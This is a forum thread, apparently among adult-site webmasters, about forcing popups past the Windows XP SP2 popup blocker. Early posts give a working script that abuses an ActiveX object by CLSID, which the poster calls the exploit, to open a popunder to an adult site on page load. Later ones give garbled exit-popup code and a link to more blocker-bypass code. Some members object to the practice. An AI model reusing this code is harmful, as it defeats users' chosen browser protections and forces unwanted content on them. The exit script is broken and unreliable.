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SP2 working popup code
can someone point me in the right direction ?
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go that way >
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<object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" > <PARAM NAME="ActivateApplets" VALUE="1"> <PARAM NAME="ActivateActiveXControls" VALUE="1"> </object> <SCRIPT> function pop(){ // change your url/s here x.DOM.Script.setTimeout("window.open('http://www.sex.com/','_blank','width=500,height=800');"); // this line will *popunder* your popup x.DOM.Script.setTimeout("self.focus();"); } // at this time you can only popup/popunder on entry not on exit.. window.onload=function s(){setTimeout('pop();',1000);} </SCRIPT> |
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thx , am gonna try this |
haha123 ? what does that have to be? can you put it in the code tages ?
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I wonder what the percentage of people who do everything they can to block popups is that actually buy from forced popups...
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I understand your point , but most people dont do everything do block popups but these days you cant fool the newbs anymore because microsoft offers them standard protection this code is meant to fool these noobs who dont realise popups are being blocked automatically by sp2 ;) |
Is there an exit pop up that works?
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yeah there is , but the only guy that I know that has it refuses to give it to me |
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do you have one without HAHAHA in it and dont think it will work it doesnt have the object id in it that contains the exploit |
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<!-- BEGIN EXIT CODE var console=true; function exit() haha123; if (console) haha123; window.showModalDialog("http://domain.com/pop.html",null,"dialogWidth:" + screen.availWidth + "px;dialogHeight:" + screen.availHeight + "px;center:1;scroll:1;help:1;resizable:1"); } } // END EXIT CODE --> </SCRIPT> *Change http://domain.com/pop.html to the URL or path to your console file. *Add on BeforeUnload=" exit() " to your body tag *Add on Click=" exit=false " to all links you don't want to trigger the console (sponsor links and internal links) :thumbsup |
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Why not just hire a couple thugs in each area you want to get 'sales' from:
They can break into the prospects' homes - one holds the owner down, while the other rummages through his wallet to get his credit cards and ID. It's a ubiquitous solution with a timeless history. If you think this is going too far, then you're missing the point about bypassing surfers' popup block settings. NO means NO. If a person allows popups and popunders and popintos and exits - no probs. That's their choice. Why not try a business model based on value instead of a numbers game based on shakedowns? Just like spammers, your days of HACKING surfers computers are numbered. :2 cents: -Dino |
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where did my visitor say no ? Microsoft enforces him to say no , its not like they have an option ... |
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Webmastering isnt about opinions. Its about maths, pure and simple. If you make more sales overall using pop ups then you should use them, if you dont then dont use them. Pop ups are apart of the internet, no surfers have asked not to have them, microsoft has enforced that themselfes. Also If I make a site and a surfer visits, a part of my site is a pop up. That's my site. How I made it. They visited my site, for free, who the fuck should say what they should see or not. Me, I should, its my site. Its not microsofts site. |
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However, if they have choosen not to view pop-ups and that box IS CHECKED then it should be respected. Then again, what's adult without the scumbag advertising. |
Buy the NATS affiliate system. It has a built in bypass for SP2.
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I have yet to hear a single complaint against SP2 from a surfer feeling that they have been shortchanged their usual popup abuse without their permission. Webmasters who assault their surfers with popups are the only ones I hear complaining about SP2 (re: popups). They can always choose a different OS if they don't like the 'default' settings. What makes forced popups any different than spam? Or are you guys all spammers too? -Dino |
wow someone actualy answered this instead of five people calling someone an idiot damn gfy woke on halfway on the right side of the bed today lol
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It's nice when legit questions get answered here...
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I repeat as you mist it the first time. I make a site and a surfer visits, a part of my site is a pop up. That's my site. How I made it. They visited my site, for free, I decided I wanted it on my site. who the fuck should say what they should see or not. Me, I should, its my site. Its not microsofts site.
with reference to surfers complaining. Bullshit. Ive never once with millions and millions of surfers over the last 5 years, ever had a surfer say, I dont like pop ups. I run many sites with and many without. They are my sites so I decide what I have on them. |
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I personally have always believed that good business sense is trying not to piss off the people who I want to give me money.
Many people are SCARED to click on adult links nowdays for fear of popups... Who could have thought that an entire industry that makes money catering to one of the most basic elements of humanity could make people so scared. I think you will have more success with other methods and being more creative. But thats just me... people can try to run their business however they want.. |
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indeed, about.com just the name a big one that is filled with popups |
I don't think any surfer, who have enjoyed a site for free, will get all that annoyed by a exit. But there's always those that overdo it and add popup hells.
Are those posted above tested and works against popup blockers? |
up on request
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www.earthunplugged.org/aa/ has popunders and exit pops for firefox and i.e. with googleblocker.
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You need to download the flash file for the popunder to work.. For the exit pop you need to dl the js file ( that contains the page url) |
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